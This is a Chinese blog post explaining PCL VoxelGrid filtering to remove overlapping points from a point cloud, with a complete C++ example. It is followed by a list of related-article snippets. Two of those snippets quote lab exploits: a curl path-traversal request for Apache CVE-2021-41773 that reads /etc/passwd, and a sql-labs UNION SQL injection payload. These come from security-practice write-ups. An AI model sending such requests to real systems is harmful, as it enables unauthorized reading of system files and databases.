PCL 基于体素网格快速删除点云中重叠的点

目录

一、概述

1.1原理

1.2实现步骤

1.3应用场景

二、代码实现

2.1关键函数

2.2完整代码


PCL点云算法汇总及实战案例汇总的目录地址链接:

PCL点云算法与项目实战案例汇总(长期更新)


一、概述

        在点云数据处理中,可能会遇到重复或重叠的点,这些点通常是由于传感器噪声、多次扫描叠加等原因产生的。为了提高点云处理的效率和质量,我们需要删除这些重叠点。本文介绍一种基于体素网格过滤的方法,快速删除点云中重叠点。

1.1原理

        体素网格(Voxel Grid)过滤是一种常用的点云降采样和滤波方法。其基本思想是将点云数据放入一个三维的体素网格中,每个体素对应一个立方体单元。对于每个体素,只保留体素内的一个代表点(通常是体素内所有点的质心),从而有效去除重叠点和减少点云的规模。

1.2实现步骤

  1. 读取点云数据。
  2. 使用体素网格过滤器,将点云数据进行体素化处理。
  3. 保留每个体素中的一个代表点,删除其他重叠点。
  4. 输出处理后的点云数据。

1.3应用场景

  1. 数据清理:在多次扫描或传感器数据中删除重复点。
  2. 降采样:在保持点云主要结构的前提下,减少点云数据量。
  3. 预处理:为后续的点云配准、建模等操作做准备。

二、代码实现

2.1关键函数

  • pcl::VoxelGrid: 用于创建体素网格过滤器。
  • setLeafSize: 设置体素网格的尺寸,决定降采样的精度。
  • filter: 执行体素网格过滤,删除重叠点。

2.2完整代码

#include <iostream>
#include <pcl/io/pcd_io.h>  // 用于加载和保存PCD文件
#include <pcl/point_types.h>  // PCL点类型定义
#include <pcl/filters/voxel_grid.h>  // 体素网格滤波器int main(int argc, char** argv)
{// --------------------------------读取点云------------------------------------pcl::PointCloud<pcl::PointXYZ>::Ptr cloud(new pcl::PointCloud<pcl::PointXYZ>);// 加载PCD文件中的点云数据if (pcl::io::loadPCDFile<pcl::PointXYZ>("example.pcd", *cloud) == -1){PCL_ERROR("Couldn't read file!");  // 如果文件加载失败,输出错误信息return -1;  // 返回错误代码并退出程序}std::cout << "Original cloud size: " << cloud->points.size() << " points." << std::endl;// -----------------------------体素网格滤波---------------------------------pcl::PointCloud<pcl::PointXYZ>::Ptr cloud_filtered(new pcl::PointCloud<pcl::PointXYZ>);// 创建体素网格滤波器对象pcl::VoxelGrid<pcl::PointXYZ> sor;sor.setInputCloud(cloud);  // 设置输入点云// 设置体素的尺寸,即体素网格的叶子大小sor.setLeafSize(0.01f, 0.01f, 0.01f);  // 体素网格的大小为1cm// 执行过滤操作,删除重叠点sor.filter(*cloud_filtered);std::cout << "Filtered cloud size: " << cloud_filtered->points.size() << " points." << std::endl;// --------------------------------保存结果------------------------------------pcl::io::savePCDFileASCII("E://data//filtered_example.pcd", *cloud_filtered);std::cout << "Filtered point cloud saved." << std::endl;return 0;  // 程序结束
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/148627.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

BUUCTF-MISC-荷兰宽带数据泄露

下载附件得到一个二进制文件 通过题目猜测这是一段路由器备份日志&#xff0c;可以使用RouterPassView打开 链接: https://pan.baidu.com/s/1tY5Sdl8GcI5dKQdhPXj5yA?pwdhi9k 下载链接http://pan.baidu.com/s/1tY5Sdl8GcI5dKQdhPXj5yA?pwdhi9k注意&#xff0c;这个软件会报毒…

二、电脑入门2之常用dos命令

打开dos命令窗口 win R 常用dos命令 dir&#xff1a; 列出当前目录下的所有文件以及目录 cls &#xff1a;清理屏幕 exit&#xff1a; 关闭dos命令窗口 c:(盘字母后带冒号) 切换盘符 del&#xff1a; 删除文件 ipconfig &#xff1a; 查看IP信息 ipconfig/all &#xf…

导入时,文档模板不被下载

问题描述 提示&#xff1a;这里描述项目中遇到的问题&#xff1a; 这是个SSM项目&#xff0c;以前经常遇到这个问题&#xff0c;今天有幸记录下来 [ERROR][o.a.s.r.StreamResult] Can not find a java.io.InputStream with the name [downLoadFile] in the invocation stack…

Apache CVE-2021-41773 漏洞复现

1.打开环境 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.访问靶场 3.使用poc curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 4.工具验证

uni-icons自定义图标详细步骤及踩坑经历

一、详细步骤 获取图标 1.访问iconfont-阿里巴巴矢量图标库&#xff0c;搜索图标并加入购物车&#xff1a; 2.点击页面右上角购物车图标 &#xff0c;点击添加至项目&#xff0c;如没有项目&#xff0c;需要点击下图第二步的图标新建一个项目目录&#xff0c;如已经有项目则…

Leetcode面试经典150题-39.组合总数进阶:40.组合总和II

本题是扩展题&#xff0c;真实考过&#xff0c;看这个题之前先看一下39题 Leetcode面试经典150题-39.组合总数-CSDN博客 给定一个候选人编号的集合 candidates 和一个目标数 target &#xff0c;找出 candidates 中所有可以使数字和为 target 的组合。 candidates 中的每个数…

sql-labs靶场

第一关&#xff08;get传参&#xff0c;单引号闭合&#xff0c;有回显&#xff0c;无过滤&#xff09; ?id-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schemasecurity) -- 第二关&#xff08;get传参&#xff0c;无闭…

阅读CVPR论文——mPLUG-Owl2:革命性的多模态大语言模型与模态协作

读后感悟&#xff1a; 1&#xff09;实验部分非常丰富&#xff0c;并且论文中的图制作的非常精美&#xff0c;论文开篇的图制作的别出心裁&#xff0c;将几种不同的方法表现出的性能差异不是以普通的表格形式展现&#xff0c;而是制作成了一副环状折线图&#xff0c;论文中其他…

VS Code 技巧

在编程世界里&#xff0c;工具的好坏取决于使用者的水平。Visual Studio Code&#xff08;VS Code&#xff09;就像一把锋利的刀&#xff0c;它功能强大&#xff0c;但需要熟练的技巧才能发挥出色。然而&#xff0c;对于初学者来说&#xff0c;它可能显得有些复杂&#xff0c;因…

BaseCTF2024 web

Web [Week1] HTTP 是什么呀 GET: ?basectf%77%65%31%63%25%30%30%6d%65POST: BaseflgX-Forwarded-For:127.0.0.1Referer: BaseCookie: c00k13i cant eat itUser-Agent: Base有Location跳转, 抓包得到flag: QmFzZUNURntkZGUzZjA0Yy1hMDg5LTQwNGMtOTFjNi01ODZjMzAxMzM3Y2J9Cg…

mysql复合查询 -- 合并查询(union,union all)

目录 合并查询 介绍 表数据 union 使用场景 ​编辑 示例 union all 合并查询 介绍 它不像笛卡尔积那种,将行信息做乘法 合并只是单纯地合在一起求的是两个结果集的并集,并且会自动去掉并集中的重复行 注意,因为是求并集,会将两个结果进行拼接 所以要保证列信息相同 表…

深度解读 2024 Gartner DevOps 魔力象限

上周 Gartner 刚发布了 2024 年度的 DevOps 魔力象限。我们也第一时间来深度解读一下这份行业里最权威的报告。 和2023年对比 23 年入围 14 家厂商&#xff0c;24 年入围 11 家。4 家厂商从报告中消失&#xff0c;分别是 Bitrise, Codefresh, Google Cloud Platform (GCP), VM…

02【Matlab系统辨识】白噪声

1.白噪声与有色噪声 1.1 白噪声(white noise) 系统辨识中所用到的数据通常都含有噪声。从工程实际出发&#xff0c;这种噪声往往可以视为具有有理谱密度的平稳随机过程。白噪声是一种最简单的随机过程&#xff0c;是由一系列不相关的随机变量组成的理想化随机过程。白噪声的数…

百度C++一面面经总结

1、你知道网络编程服务端建立连接的流程吗&#xff1f;把用到的api说出来&#xff1f; server&#xff1a; 1.socket() int sockfd socket(AF_INET, SOCK_STREAM, 0);2.bind() struct sockaddr_in serv_addr; serv_addr.sin_family AF_INET; serv_addr.sin_addr.s_addr I…

jmeter发送邮件:详细步骤与功能配置指南?

jmeter发送邮件如何设置&#xff1f;怎么配置JMeter以发送邮件&#xff1f; Apache JMeter作为一款强大的性能测试工具&#xff0c;不仅可以用于测试Web应用的性能&#xff0c;还可以通过插件扩展其功能&#xff0c;实现诸如发送邮件等操作。AokSend将详细介绍如何使用JMeter发…

HarmonyOS鸿蒙开发实战( Beta5.0)Web组件预览PDF文件实现案例

鸿蒙HarmonyOS开发实战往期必看文章&#xff1a;&#xff08;持续更新......&#xff09; HarmonyOS NEXT应用开发性能实践总结&#xff08;持续更新......&#xff09; HarmonyOS NEXT应用开发案例实践总结合集&#xff08;持续更新......&#xff09; 一分钟了解”纯血版&…

线程1(重点知识)

线程 1.线程的概念: 线程是进程中的⼀个执行单元&#xff0c;负责当前进程中程序的执行&#xff0c;⼀个进程中至少有⼀个线程 ⼀个进程中是可以有多个线程 多个线程共享同一个进程的资源&#xff0c;每个线程参与操作系统的统一调度 可以简单理解&#xff1a; 进程 进程资源…

平衡二叉树(AVL树):原理、常见算法及其应用

目录 引言 AVL树的基本概念 常见算法 插入节点 查找节点 删除节点 AVL树的应用场景 1. 数据库索引 2. 符号表 3. 字典和词汇表 4. 动态集合 5. GPS导航系统 6. 计算机辅助设计&#xff08;CAD&#xff09; 结论 引言 平衡二叉树&#xff08;Balanced Binary Tre…

【JAVA开源】基于Vue和SpringBoot的甘肃非物质文化网站

本文项目编号 T 042 &#xff0c;文末自助获取源码 \color{red}{T042&#xff0c;文末自助获取源码} T042&#xff0c;文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析 六、核心代码6.1 查…

英飞凌TC3xx -- Bootstrap Loader分析

目录 1.Bootstrap Loaders作用 2.CAN BSL详解 2.1 CAN BSL的时钟系统 2.2 CAN BSL流程 3.小结 英飞凌TC3xx的Platform Firmware章节里&#xff0c;提供了多种启动模式&#xff1a; Internal start from Flash&#xff1a;b111Alternate Boot Mode&#xff1a;b110Generic …